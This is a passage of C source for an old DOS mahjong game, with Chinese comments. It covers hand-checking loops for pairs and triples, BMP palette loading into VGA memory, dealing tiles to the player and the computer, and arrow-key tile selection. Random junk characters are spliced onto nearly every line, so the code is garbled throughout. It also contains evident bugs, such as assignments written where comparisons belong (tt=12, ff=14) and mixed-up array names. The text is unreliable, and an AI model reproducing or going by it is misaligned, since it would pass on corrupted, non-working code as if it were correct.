: t3 e0 U* Q8 B7 yfor(i=0;i&lt;7;i++)
9 g. e! @$ r& r. H4 z/ ]{8 m' i# ^1 e2 A& `: C
for(j=0;j&lt;2;j++)5 d9 z7 G  E: [( a4 f
{test[j]=pt[i+j];
% j. ^& w! u8 w) T) l+ x! s}
1 U' r, E+ F7 N( q0 e8 O" r5 Xif(istwo(test))! E9 p- o# D+ i
{ ill=0;
0 c5 L  _) I* E- ~5 ifor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
" Z5 l% i9 Y! q3 R+ Q+ N{if(kl==i)9 k& m$ K8 d4 L: H/ v/ Q* ~
{& V. A" A9 H: X7 U
kl=kl+2;
: R7 n$ M4 |! Q- ?* Lif(kl==8)" U; F( r0 R" U+ I* V+ Q/ b
break;# ^( g7 ?2 G5 V  u* V$ k$ q3 e" U+ r
}
* M: I/ G9 ~2 |test[ill++]=pt[kl];
, o8 w/ y' p! t  L* y}
( l/ a/ Y4 o& n& C1 v& x1 P8 ], Xisthree(test,tt-2);
8 Z, r- t2 |: T2 K' G, N- F6 O9 k$ x}' k5 y- E! u) y& |1 h
}
6 N/ V, n& k8 E$ @else if(tt==9)
2 K' S( [) y- S% ~/ y* i3 Listhree(pt,tt);
% m: s. x2 M5 P3 Uelse if(tt==11)/ Y% Z$ Q1 W8 `! d' Z
for(i=0;i&lt;10;i++)
1 w+ B9 G7 w% ~5 Q, k/ J( J3 z8 o{+ ]) C9 l; k! R! r: k, y
for(j=0;j&lt;2;j++). h; j; n; |" k, R" R8 }  d
{test[j]=pt[i+j]; 9 k% i+ R' Z  l# w0 |  B% f
}
' O9 P& ?# Y$ W' V. K0 f% r0 Pif(istwo(test))
: u2 V, S8 S* K# n/ t8 Z! o{ ill=0;
" r( Q: `* w3 r& {for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
2 c- P; J) _6 t' ?2 {0 v{if(kl==i)5 V3 {# ?: |: ]" j
{
: g/ t/ b  d1 a( ukl=kl+2;
- p. Y; d, [/ k9 tif(kl==11)
( S) a. [3 l' O9 W8 Bbreak;5 R. |9 z2 H: m6 L, Z( E
}8 ?: }/ Q$ U2 o$ D- Y' P  o
test[ill++]=pt[kl];# D& m1 A6 k4 v* {
}
, ~9 h4 m! f% c0 |  R4 Y" L6 ]isthree(test,tt-2); , r/ Y8 E. }- j/ N/ N, J. n8 ~
}
% z6 J0 _7 n5 g% o, }}. h& w, ~1 |( h# w7 s3 Q
else if(tt=12)
6 s0 B3 z( R3 u3 ?  t+ cisthree(pt,tt);
$ R1 a$ Q# S8 celse if(tt=14)/ C$ u$ d7 x! M' E- W, X" M& a
for(i=0;i&lt;13;i++). M. E0 d7 W% }
{
5 U) `5 {% ?, o. P7 C2 r7 C7 [2 [0 nfor(j=0;j&lt;2;j++)
7 o7 ^) p+ T6 w4 r; m) H7 M{test[j]=pt[i+j];
9 |3 k3 H+ l0 {}
& z* X& l; k5 y/ J# }if(istwo(test))
1 H$ @: V  r1 N2 r( e! c{ ill=0;  p3 [. s# h* ~+ o
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
( o5 i6 k" ^3 {. B% ]3 `{if(kl==i)/ d6 ^8 J( m/ l5 h
{
: Z+ P, m! O% M5 mkl=kl+2;
: C! @" g) [$ g: |; `if(kl==14)
7 r& R4 h9 s) }- i3 }1 [3 j$ K. R. u5 Xbreak;- S3 M+ b: S) E: u4 _
}
2 {6 y7 x- T1 y: t9 s! k1 [test[ill++]=pt[kl];. ~; `8 W  m4 i% y4 ~) O. Q
}
9 H4 E  q$ ^4 ~; F$ kisthree(test,tt-2); 2 W7 |* _' g5 ]% `  ~
}
3 U; ~0 @8 |8 w/ A' n" [; i}# T1 X+ Q, [" J+ q& J
if(ii==2)
7 P" _8 R7 X' d( b5 c. Uistwo(pi);
; G8 S0 ]0 a' H, Q( ~else if(ii==3)5 V/ h+ G. {6 c/ `
isthree(pi,ii);6 v4 L! s! P- j  R) p
else if(ii==5)
5 _, d1 a" ^2 j0 C; c/*pi[5]原始牌数组,假设已经升序排列*/
7 d1 z" X. J4 o& e/*test[3]用来放置测试牌的数组*/
4 r$ Q! v1 p) w. X5 U! V! T! T, `for(i=0;i&lt;4;i++)2 a" o& |' o9 F: x  F
{
6 `0 a) Z6 w; M8 \  `$ r! ?for(j=0;j&lt;2;j++)4 ?8 s- h' I3 [1 J( N
{test[j]=pi[i+j]; 3 M- Y# Y0 L/ g3 @; u( ]
}
6 K3 P4 h, m& `% \' @0 d1 H5 |9 Aif(istwo(test))
; W0 K( a& ?) X% I{ ill=0;
$ b( h4 y& R* w* Hfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
+ ]* U( B2 W3 U6 {' H3 V) b{if(kl==i)
; s2 `5 e( h0 r; }0 |2 P6 M, N{9 z0 D5 ^4 _' B8 ]9 s9 P, b  _
kl=kl+2;' H) @1 S5 `9 Z; a" A5 t5 S8 s& P
if(kl==5)6 ~! e7 b" C' F/ W* f
break;- _2 x" _/ @/ {$ g( P5 Y' E& l
}
9 U3 A5 r( Q, q, o* J. J# d/ k) Ntest[ill++]=pw[kl];# R- b% {" ~% u6 i$ f2 D( x
}
; K9 y9 X3 _, m( A& cisthree(test);
- Y1 i& ~) i' k}
4 v1 G, `! y" y! s}
' `! C4 r$ R0 \: Uelse if(ii==6)
: g" L  u+ V( s5 [2 m. I& e* B8 W+ Uisthree(pi,ii); . t6 f6 m1 I, E- X8 G
else if(ii==8)
( K# b* {7 {) P: G8 ]for(i=0;i&lt;7;i++): l5 L$ q5 i9 f4 e0 j/ O* J. q. ~6 o
{
4 p0 W1 Z7 ~2 r6 _0 a5 _% yfor(j=0;j&lt;2;j++)
; y6 j/ C0 Z* C. v$ b8 d{test[j]=pi[i+j];
, H8 ?( b7 g/ X5 x4 g}
& R0 o. Q0 n; P/ u% Gif(istwo(test))
- z! r6 g4 q/ a" K{ ill=0;" ~" p. _7 \1 B1 ?2 E7 y' i
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
7 z+ E5 |1 [, N5 Y$ f{if(kl==i)0 w# P; c& w$ D# H! [( C
{
$ |+ X2 U3 E. V0 Kkl=kl+2;
2 a* M% }4 `' m* ?if(kl==8)
: t  A: u6 R& @$ w3 |9 obreak;
* L. _2 o5 X1 S/ j}7 U& J1 t6 B" a4 W8 _7 w* X6 R
test[ill++]=pi[kl];
0 H% I2 x# I' ]+ i0 Y, s}
. ~% c) _% N3 a9 N7 e8 f7 ^; eisthree(test,ii-2);1 N) r, r" o- j$ y) T" U
}
. |0 s/ r/ J3 d' y} * d' c, v" F( O7 C- A+ v; E( t
else if(ii==9)
- w' w6 H6 B4 l- t8 c0 xisthree(pi,ii);
% j) \+ B5 Q8 w. _else if(ii==11)
7 p/ e7 s2 i5 O7 @% K' nfor(i=0;i&lt;10;i++)
" P- {9 s4 ~. H7 a/ j! M{1 j7 M. ]# |# C* @5 e5 ~$ q
for(j=0;j&lt;2;j++)3 l( ?+ I, H- I4 q' _( F* c
{test[j]=pi[i+j]; # S9 ~6 _9 e+ t5 N6 o9 m
}
1 L0 L& U5 k  U- \if(istwo(test))
: x) d. J9 i( _: I0 ^  j4 l8 @' a{ ill=0;
$ s* C: l4 `- r' wfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/. K& ?5 T$ k  d! }7 u' B% i. k
{if(kl==i)
1 F* X4 e: Z1 Y. p0 y{6 O/ }& v& C' Q. q
kl=kl+2;
: N) x4 @4 A6 {if(kl==11)
. i0 |9 c" y* f; \/ r+ a4 obreak;
, j/ s1 J0 K- H& X$ z}
7 t0 B1 N7 A$ {* D4 J+ \test[ill++]=pi[kl];; A3 @0 s5 }' }: w/ n
}
( S) }% [" E# `2 L" E4 Histhree(test,ii-2);
9 Q9 `7 n8 A9 I9 N# x$ a; M0 y  R% {}6 C& v- f* g. j+ E& O# U7 v8 }9 K
} ) D- Z0 V' k; C( ]6 c1 i: o! L
else if(ii=12)1 i* G1 h" o5 Q+ z( w
isthree(pi,ii);8 `) k# z7 @# e; @; s
else if(ii=14)
0 J7 p3 q0 r. ?) gfor(i=0;i&lt;13;i++)
# n3 l) \3 Q1 \; B$ _  M" v' w{
# k, l6 e3 D5 ?3 ?  j! b: H$ Sfor(j=0;j&lt;2;j++)0 U! Z2 m& J4 @7 `
{test[j]=pi[i+j];
/ d! B6 g/ X% \/ \7 x: ^1 x}
2 a3 S- i; z3 y& X5 f  A4 k" T) d2 Qif(istwo(test))
/ O- g; R0 @$ E  v* ^, s  t; T{ ill=0;
" z$ w0 ]( F( N8 g4 ?for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
( g8 o4 D7 ?6 [; X% P{if(kl==i)
+ q# Y& k. e+ Y2 Y% ]/ C{" |$ v+ @% f* Y5 x8 n/ Z8 n; S
kl=kl+2;( P. r) b! N' k! S' p& y  G; h
if(kl==14)
( J* n& P8 h; A+ a% a  hbreak;
$ F' J0 H! u+ B) ]  W; l* x  G$ d% j  i}1 R% h, Z. D# I& s. y4 t1 J- d
test[ill++]=pi[kl];
1 H! w3 D' F1 L" I( x* L3 Z. U6 W}+ a# k6 V; ^8 M$ P$ x
isthree(test,ii-2);
2 w+ a4 Z- o" Z3 T' q# U}4 {% \1 E) X9 b
}
' Q( V, w4 e' V3 i1 ?1 @if(ff==2)% K( F( p, i/ @+ @
istwo(pf);
: S2 u5 |; V( [else if(ff==3)' n( Y- w5 O1 T$ @* N8 p
isthree(pf,ff);
$ V3 H/ w# ]6 ]4 s' V. m; J# helse if(ff==5)- v6 R8 |& c& |1 N! U5 t
/*pf[5]原始牌数组,假设已经升序排列*/
1 v4 G- M% [6 A/ y& I3 X, ?7 R* t/*test[3]用来放置测试牌的数组*// p; `: O' C7 D' {$ D6 n. B
for(i=0;i&lt;4;i++)$ @1 F* e1 A* v5 h- _+ Y
{
! q" `" q8 \! dfor(j=0;j&lt;2;j++)
2 p- {; Z, r, ^  ~# H0 F{test[j]=pf[i+j]; 9 k  \8 _( e+ e% F
}
2 e: N* l4 H$ {* y+ {if(istwo(test))
. v; L  t: ?% ^; B0 ^{ ill=0;2 W: t0 G7 y; V+ u5 N) d3 h- q1 w
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/1 W, @9 v+ y2 {$ L
{if(kl==i)
: P& v, H7 c- o$ ~{' G" U* W, d( z5 K+ a! L
kl=kl+2;
- W. W- \& r( L! @1 P2 iif(kl==5)
, V1 l9 b8 j7 N- o! F) v1 s! B! j2 Ubreak;
8 x0 F6 Y5 P& a( L8 p, ]- j7 [}7 L! T. D. ~- [+ |) k! E0 B  J1 a
test[ill++]=pf[kl];
& a* N. K" B5 N; U& {}
) o' d' `1 `6 R; n( Bisthree(test);
/ b6 L& T: j: J* ^6 b; s}
' ?2 l" e# t3 S- U) @1 a}
) T- E6 U  l- Aelse if(ff==6), P7 A; t9 x9 Q, Q4 q" N5 {
isthree(pf,ff);
8 b. @9 s) Z2 W- i$ |6 I' u& c2 [else if(ff==8)" G6 R6 m, V! X1 i0 w6 X# R
for(i=0;i&lt;7;i++)
, K+ ]  [& W+ H* w/ j: w1 a{1 ]  v+ y/ G9 U  o
for(j=0;j&lt;2;j++)% W" t9 p+ L, H& F! [
{test[j]=pf[i+j];
; k$ ~( \0 y( C9 c$ q6 U}
7 u5 U' ]& X' N, u- [7 Kif(istwo(test))+ C; u0 y( j1 ?+ Z9 _$ }0 r
{ ill=0;
$ g4 b5 g1 _  d& k; {' Z& \9 H' r4 ~for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/8 h3 {* x0 K0 l5 {$ I3 ]1 a5 z
{if(kl==i)# W+ l6 w, V6 h% M- N4 G! B
{2 x1 ^3 S8 M9 R
kl=kl+2;9 F0 p, y* a' K
if(kl==8)$ k) m$ c# A* X( H" [
break;
0 n" X& G* G1 {}. k- o. `' j2 P, e  ?/ v
test[ill++]=pf[kl];% a6 U" G& _& }+ R+ N
}& ~0 V0 D# n/ K
isthree(test,ff-2); : l/ s5 Z% M1 O8 n9 K( h
}2 y& E/ Z& Y: {# X
}
& o) x& H/ D1 e& Welse if(ff==9)5 l6 \* K$ D. W% m. Z
isthree(pw,ww);
- q0 N- f5 P- c5 |else if(ff==11)
$ a/ S. j" U9 X5 K2 g4 f; C. lfor(i=0;i&lt;10;i++)
# ?& d- I* t% Q8 z{2 v  k( W$ C; v& u* T% F
for(j=0;j&lt;2;j++)
4 R# C) D3 L5 Y8 r{test[j]=pf[i+j]; $ v& M" y) m. `6 t" C  {; O
}8 `4 T- b0 {% X  M5 g
if(istwo(test))
  v# ]( B, w% O{ ill=0;
8 O" }# w5 F$ i  a( _for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/$ x4 s6 t( s  ]+ x  P4 o2 l. v
{if(kl==i)
! ~; ~9 \# ^# g0 I{
2 U3 m1 s3 i1 ~9 @kl=kl+2;- F* [* Z+ _3 P7 k; l2 ^
if(kl==11)3 v! f) z  ~# p6 c/ v0 C
break;
) t0 B1 b0 V. M5 s}2 B% X* {1 n: a6 A$ {& n
test[ill++]=pf[kl];
  \: ^* P$ `$ J8 n8 e2 w! a}
$ y1 R4 E/ ^- w0 l$ jisthree(test,ff-2);
+ O0 I6 t  X& |- P7 F}' f  f" d: c- g2 y/ h: ]
}
* [, `7 ?2 k; D& r- M6 Welse if(ff=12)4 ~8 o2 f3 m: ^
isthree(pf,ff);
, D# r, g3 q; C3 E/ f1 ?4 selse if(ff=14)4 ^+ W, T+ O5 M: M7 }
for(i=0;i&lt;13;i++)
8 @3 v2 D( Z; G/ f" Y. L$ D{
0 `2 O# a9 a  ufor(j=0;j&lt;2;j++)6 r  X/ h: N) d% f
{test[j]=pf[i+j];
4 k# p  s7 D" E5 J}* s% b- H3 M5 O- d
if(istwo(test))
. S4 I( y7 j' Q{ ill=0;4 @, {7 x3 m8 _: k: y- ~; l
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
) w3 I2 m/ k$ |* z{if(kl==i)9 u0 l2 d' F6 H1 C* @& z
{2 b# p- `$ v) f! Y1 W
kl=kl+2;
6 k) s5 |; x8 i" S$ t* T: d: Kif(kl==14)  F" G6 q6 H; |
break;
" q+ ~4 I/ e8 E6 g& k}
/ T% W* v" s+ r: n; m0 q: I6 f1 Q7 h' mtest[ill++]=pf[kl];
8 b3 K& `7 I( G+ h: d/ f}
) h0 ?9 W9 [3 \2 P9 I: ^isthree(test,ff-2);9 [- S- N# I8 U( ~% Z4 q7 F
}
: J- c) }% ?& p& B} ) X; {/ \3 b; o, ?
}: Q( O9 ^7 S: v! l7 \% K1 A
void main(void)2 @, h, R! j+ b1 D
{8 z* K, X9 d# o  Y& Y' W
FILE *bmp;
9 W! }3 L/ b& U+ i/ ^static char *name[2]={"ff.bmp","logo.bmp"};
0 N- U6 Y( I" Achar *p;
% ^4 t1 }. C1 Y, B5 A% bint *lingshi;
/ U7 s+ A; @  ]# ?2 |int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;+ ^, C5 W" ^' v0 d3 Y2 B' ^1 U+ G
int every=0,w=0,x1,x2,y1,y2,every1=0;
* v6 P; n  d7 ?6 Y, nint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
8 l- \5 o: ~( C4 G8 s0 vBYTE palette[256][3];
9 e% q7 {8 s4 M, FSETVGA;
4 g# Q1 l' x7 W. ~; f: N  x9 Xgetch();& G4 O* i( b( W8 s% `4 o
while(t--). X$ e6 y8 x4 Y, _: c5 m+ o
{
3 U; N5 f, y8 t9 D% [/ ~bmp=fopen(name[t],"rb");
) Z" s' t- u8 h: f# m" k5 Y/ Pfseek(bmp,54,SEEK_SET);: O$ q* S/ `; k) E9 r8 {: |. t% Q- Q& o
for(i=0;i&lt;256;i++)
* [8 `0 `* @! G8 [" |, z  j{
  x5 H8 {# i+ l$ g8 i6 Npalette[2]=fgetc(bmp)&gt;&gt;2;
1 S6 H6 X9 `5 c8 P8 s$ Tpalette[1]=fgetc(bmp)&gt;&gt;2;
% [2 I# ~8 x. [6 F0 U6 cpalette[0]=fgetc(bmp)&gt;&gt;2;: n( I9 R" @. y
fgetc(bmp);' E1 ~( H. i( _& B+ A6 w
Set_Palette(i,palette[0],palette[1],palette[2]);7 Q  i4 i% Z7 S
}
( V! V3 b% k8 r( b! D. tfor (y=0;y&lt;200;y++)
* J' @: V  u2 Pfor(x=0;x&lt;320;x++)
& s& `4 n" S& m+ o: zpokeb(0xa000,y*320+x,fgetc(bmp));3 d7 C! I6 p6 L5 M6 f
fclose(bmp);" u5 h: A) K1 i( {7 u& T% d% [
getch();
3 B" E: X6 ?. Z" {- ^/ |* X0 r6 b}7 `: `4 i% ]# p: \
getch();8 H1 U3 J' J% Z/ ^# Y' h5 J( z" A
fillRectangle(0,0,320,200,0);3 z8 w$ B* P: ]2 R8 ]1 G' |
getch();* L& H1 a, u1 a- u6 J9 G1 Q
randomize();
$ P# j/ w4 i0 U. q4 R& F0 d0 Y" s) Bme.m=onetothirteen;
8 v4 Z  J3 A7 Z9 i! D& U5 m/ y( Bwhile(me.m&gt;0) /*先循环,给自己拿牌*/3 d* X; a6 g# c+ G% u
{
# Z2 p- ^6 g# E4 u7 E- D  u+ H- v. q* u- S5 S' W) o7 Y  Y9 s
temp=random(136);3 {- a& t, I0 T/ `7 O( n7 d5 p
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0). i8 R1 s) C& t5 J+ j  R/ ~" o1 t
{; `* Z( m. Z* C
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
9 P% O$ R6 s( @/ L- L8 S( l5 Gme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/' j7 R* h- w6 m* }; J
me.pp[n].number=temp; /*第几张,用来排序*/
3 \8 l+ _* n2 F3 r, b9 t; tm[temp].data2=1; /*判断牌是谁的*/
" z( P% g; h9 s6 w7 g7 @kk=1;
& ~+ k% u3 E7 C# i5 h9 |2 s}$ Y: T1 z) X5 p* t
if(kk==0) /*判断如果又选择了,就从新再选*/6 t! u7 R  V5 v0 B& E# Q; H
{ 1 K+ Z# X( d9 k% }- R+ Y& T
me.m++;
- z% n  O! u$ o& An--;
' M" b+ y- Q3 H, r}, ~2 r# s8 }* K' m) V7 U( h$ [
me.m--;
; i! k; _: e  Y0 ?+ ]) gn++;0 k- W4 g* t6 N7 ~1 y/ d
kk=0;
/ R1 l, e% M2 f8 g3 F}
5 S9 }! X  g& {0 H" u+ gme.m=12;
6 E( _. F) Z! b% amelipai(); /*理牌*/7 w7 g) i) ?2 p1 l) e; o% ?

! }- d% K( w+ In=13;
6 U: }3 z( i  ?& Mwhile(l&lt;n)7 ~0 r' q+ E! N- x0 o
{
2 |/ ?5 ]2 S% R! _z=z+20;
7 j0 g2 ?* m: K/ A0 Fshowbmp(l);
: w: b) _& d9 H0 U1 yl++;
$ Y8 O% J" |: q+ D" ^
, l1 }$ c& |; I/ v) I( w, i1 ^}
5 f' l2 ~5 N6 }5 G9 d* grandomize();
2 P9 y+ v4 n# G: }, A2 S2 Gcomputer.m=oneorthirteen;/ G  c6 f3 t2 W; z  g2 n3 v  I
n=0;
' t1 f. j* _) C- q6 }while(computer.m&gt;0) /*循环,给对方拿牌*/
" m/ I" y' I6 q5 q{
. u- |8 W. r" Gtemp=random(136);
8 s% k& ^; L# G% @9 {' Vif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
  L, R4 ^. Q( R4 ^* c3 E{/ [4 N9 ]1 ~- K4 \. D  ~5 E5 r
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
% a) x( t: L2 |7 s  Pcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/9 D4 |& |! [( i8 G% ?( O
computer.pp[n].number=temp; /*第几张,用来排序*/( }! r, I  j% l% Y) Y, s* w! i
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
1 ]5 B) g/ ^4 E+ d! okk=1;" E, J- Y+ x7 H. z
}
" G$ u0 c6 ?% X5 J( i) q7 y$ s5 r' hif(kk==0) /*判断如果又选择了,就从新再选*/
, k0 ^6 \- H7 n& _, _{ 7 ~7 E' s3 E' u" M" m
computer.m++;
! y; b; u2 T4 l0 ^: Q- f7 Jn--;
2 Y: M' ]3 h6 v( x}! U* T# r  ?% @+ S  `$ Z
computer.m--;! G5 I; I, R1 T  e% w% k" q* J
n++;
6 C6 ~1 e1 K) q, @, W2 ]3 `2 skk=0;
- V, Y% a) I5 }6 \, b$ V$ g}+ b( M& r- ^' M  k/ U" o2 X
computer.m=12;5 z" m* D' S, e9 v" ^4 P
comlipai(); /*电脑理牌*/
, y+ d7 _( A2 ?n=13;: q6 N( v: J* h. N) r- W: W$ n
while(ll&lt;n)
9 i9 O5 @( K8 u6 Y{/ m; P: M2 t& i
zy=zy+20;7 X( e- m% X1 Z# y: f0 k0 Q3 g
showybmp(ll);
' s2 N+ v) l$ B  qll++;
$ p0 O6 P" t% J}
( C4 B+ P! |2 l' d: j) L, H# i5 O% k9 N4 n# M0 A6 H5 D, W
z=54400;
( l# [# r0 `( |: Vwhile(key!=ESC)* y/ W8 v& Q' [" _, L
{
* ^% W- |0 C3 Y/ O; B; t! w0 X
0 C  A* S+ f# B: I9 nkeyy=bioskey(0);
8 c8 y/ K* s0 g/ o+ {if(keyy==LEFT)
1 y) |0 o; C4 M7 @  e# X4 d{ w=1;
( \; U) ]: G! t& B) p1 i0 C0 F1 pif(every==0)* P! s+ F5 S) v
{% p1 `, l" ^+ k# r; o; w
every=1;9 K0 J, v& K0 Y7 ]1 o" h
z=54440-5*320;& _5 w% N+ g0 e7 {: y0 v
- q0 p" p2 y' c/ A/ h5 A% t
}( ^- e+ `% O0 p: T9 V% B& [- a; u
zz=zz+5*320;: D9 c' o9 c3 Q  _+ E# ~
showbmp(every);! p+ Z+ P/ [+ A1 ?1 e0 A9 {8 s
if(every==0)- @, ?6 D- @) r% A$ N0 k
{/ p! _6 c4 B) U2 U
x1=20;' c3 A# {: H5 r  R4 H" F/ k
y1=165;! F0 w( o+ H# k) K. T
fillRectangle(x1,y1,x1+20,y1+4,0);
6 {( \' F$ P" _  d' s- F}  j% A  I+ J: V) r
if(every==1)2 R6 B2 U0 T7 V0 j! V: w) U
{
6 g/ k3 c6 x7 E) m# Qx1=40;" I7 U1 L  j0 F  q9 ~) \
y1=165;
8 `. z) H( i0 j  J- L0 [3 sfillRectangle(x1,y1,x1+20,y1+4,0);
. C7 }$ V4 q  l2 c}
" y7 |- v1 {9 L% X: @$ hif(every==2)
5 c4 U: W2 e' O. s/ `2 J0 U{4 Q# W- y  H' T' z4 `2 W+ Q' e
x1=60;
  ^& k: O. o9 x( I4 Vy1=165;1 E6 N, e* J4 o" A1 K( v
fillRectangle(x1,y1,x1+20,y1+4,0);
2 [+ x4 d. ?% M. g}
: n) U+ [5 Y) e9 lif(every==3)
1 Y) |& O) D, x# o! X  a{) D. w6 P8 \& ?8 F6 f, }* j# [: ~
x1=80;! n% d& x5 c* P! N* {  {& Q
y1=165;
* D6 ~8 p9 n* V  U% e! TfillRectangle(x1,y1,x1+20,y1+4,0);' Y5 J0 K8 b: Q# N  U8 I
}" i2 I7 N+ Q6 N; k
if(every==4)$ g% m. j# t6 h) _- E
{6 O* Y7 v& }& Y: b  n# z* Y1 g
x1=100;3 A4 h/ F; K4 p6 ?- M3 V
y1=165;
& h6 D  S$ ^; |fillRectangle(x1,y1,x1+20,y1+4,0);+ D, }" Z$ L( }, b5 O/ Y  Z
}
; L$ e7 ?' i0 |0 C6 {7 e7 @8 }0 Mif(every==5)
- u0 I- }+ j2 E5 S9 M{
  ~0 x$ q  F6 ]0 }1 q$ `* dx1=120;# ~$ N, u0 i7 M1 V) x6 i
y1=165;
% G6 I/ _; S+ [, f6 AfillRectangle(x1,y1,x1+20,y1+4,0);
; W$ \, j( ?- L5 ]5 x2 r}& X* q) z4 o% B4 n; r  d
if(every==6)
8 _! H! a, u7 v0 O2 X9 o{, B2 ?, T! y  D% @( j& K' W# l
x1=140;
& |/ A- n- C8 g9 ~y1=165;
; I  j% _( y% z& P8 [6 jfillRectangle(x1,y1,x1+20,y1+4,0);
3 \/ r) X- e4 h, V}6 L  [$ B7 p& ^
if(every==7)
/ ?1 `7 N2 I& ?1 R( e{& @  ~4 @: }9 `9 f' p
x1=160;
3 x3 W7 {/ x# q9 A+ V. r& L$ v% py1=165;! h) u  v0 F! E" X
fillRectangle(x1,y1,x1+20,y1+4,0);
: k; d0 g( z) I) x0 q( d/ F}+ [& n% X& P) c7 ?& [. y
if(every==8)
2 N! B: ~; C% Z& _{, m# ]" \* y( o0 H. h7 A& d9 v. ^
x1=180;) H/ f2 j2 {* s- W% G
y1=165;
8 N% J5 p+ E+ z$ p" d0 kfillRectangle(x1,y1,x1+20,y1+4,0);; L8 f, ~4 w0 v' @+ q& }
}+ e: S$ w+ R9 v  W  Y
if(every==9)' c+ m- A" q2 ^, Y) ]9 `5 e
{
5 ^% n1 U9 P2 a- vx1=200;, {7 D. J: F, R
y1=165;
! z: p( U/ C5 {# N' l9 pfillRectangle(x1,y1,x1+20,y1+4,0);
" Q" c$ j: K3 K$ u4 Z: u}
: y! h& i! Y6 s' [' E) gif(every==10)" o; T% s0 N" T+ Z8 t. O
{1 R( t( C" t4 f, T5 H% \( y6 |
x1=220;3 N! V0 v; y0 o3 z& m2 H
y1=165;
+ \9 k3 Z  w$ e2 SfillRectangle(x1,y1,x1+20,y1+4,0);) {4 N% ]1 B  x$ k2 J: @
}
# }5 T1 L4 U) t4 M. T0 v' Dif(every==11). |  q6 J" c  C6 k8 {/ }4 O
{8 f; s8 g) B' E2 s9 ^8 `2 `& A
x1=240;
7 F) @* L/ s+ e) u" Z: k% E* Iy1=165;
  e/ a: e* C5 C" g: cfillRectangle(x1,y1,x1+20,y1+4,0);  u4 u2 B0 b% X3 Y
}
" p0 B% D" M9 pif(every==12)
7 n5 N, \# [+ \4 P{
$ r% T6 y6 B, z* S0 {- f& K/ a/ x! jx1=260;
' m: V6 `  J( H# O4 Q! \. Dy1=165;. }* e. x- _6 B
fillRectangle(x1,y1,x1+20,y1+4,0);
$ @6 _  p1 t/ ~3 D8 m% T}) z6 m5 ?5 w) f7 D. [: G% |
zz=0;5 }2 U+ W2 y& r' E+ ^
every--;
1 O( t# Q' q: K2 S% Sz=z-20;
( B8 K% Z. C+ l" P2 d* B% B}0 n( G/ C9 w. V; U
if(keyy==RIGHT)
; T+ ]8 q; h5 \* f{ if(w==0)( ?8 O9 j( {4 u8 \9 _, u( S
{
: }2 |5 q- _% nz=54440-5*320;7 _6 i. V# }# J  |
z=z-20;
6 k( a& y6 X+ }$ Sw=1;& S/ n* ?6 Z) `" v
}
$ X  }) w% }* j/ Z9 M( m) u" U- _$ N( Aif(every==12) ) _0 f$ x8 k5 f, t' ^. s; h& y, X
{
7 u- z3 T  v' ~% W3 cevery=11;  ^: c2 g) \% w6 o3 L. {3 W' }
z=54640-5*320;
* l# @& x$ c% ]$ {( m}
8 K  ~! w0 ^' f/ K+ V& E/ szz=zz+5*320;
( }5 |0 [: B. Z" Xshowbmp(every);8 q3 h/ m8 T4 Z% P6 n% F' L7 `% b: _
if(every==0)
$ i8 }( j" z) q6 g" @{6 j- g  L5 O! Q2 \* Z. b
x1=20;: z) y( E/ V" W# B2 _) m4 s
y1=165;6 q: {9 m: o* j% {# N: t. l+ l
fillRectangle(x1,y1,x1+20,y1+4,0);! O: k7 d2 ^# Z2 Z  ?
}
3 ^3 e% `- }7 _: n1 m# Mif(every==1)
' `" F( Z. J0 e- x! s0 m( H9 s{
) S' {# j/ N6 o- s  rx1=40;) \% X* ]( n4 q; x/ Y$ w. B
y1=165;+ r0 S( G' E# s; ?
fillRectangle(x1,y1,x1+20,y1+4,0);9 p1 r: z' H" I" I' C
}
" ?# f4 A# E6 f, D( Jif(every==2)
4 ~$ f  q. S- F- {. F2 x{+ t1 C" r9 _: _3 ~/ K
x1=60;
! ]( f( l% t- r- cy1=165;2 g. S9 k7 |  _+ l
fillRectangle(x1,y1,x1+20,y1+4,0);
; P& o/ K# Q# b: d. [}
+ V5 w* m! f7 o: qif(every==3)
9 p, A# s( R& \6 s{
- D: v* t  Y4 B! L+ gx1=80;% }! ^$ Y+ h2 V/ P
y1=165;3 Z9 |4 Z6 x0 D0 E: A
fillRectangle(x1,y1,x1+20,y1+4,0);
$ v- E8 L! f4 Q  [2 @/ p  t}; @) W( n) [' P! e: A" K
if(every==4)
+ C+ r: V5 R  c- q! p- W$ Q{
& Q6 y' N; N  _0 W  x: F6 Ix1=100;6 y) j1 {3 A- [7 y
y1=165;" m; j( ?$ J8 q8 y! c
fillRectangle(x1,y1,x1+20,y1+4,0);$ O9 A- q, q$ C) T
}4 O  a$ s7 @7 ^& k
if(every==5)$ u! M0 c- {( @' U
{
% d! f) l2 {8 ]) x: \x1=120;1 }8 S6 n5 C6 v4 V; t  i
y1=165;9 W# W6 \4 |. j& V
fillRectangle(x1,y1,x1+20,y1+4,0);* q& {  h. J- g1 k. o
}
9 D7 |# U3 {$ j+ Pif(every==6)
3 x0 P' |) d' p( Z; t) A  {! O{& H) [5 t0 z+ Q& q
x1=140;
: l8 Q/ j& V4 [2 h8 H7 O' Oy1=165;
) g9 ^5 l; g) V6 S: D* F0 LfillRectangle(x1,y1,x1+20,y1+4,0);
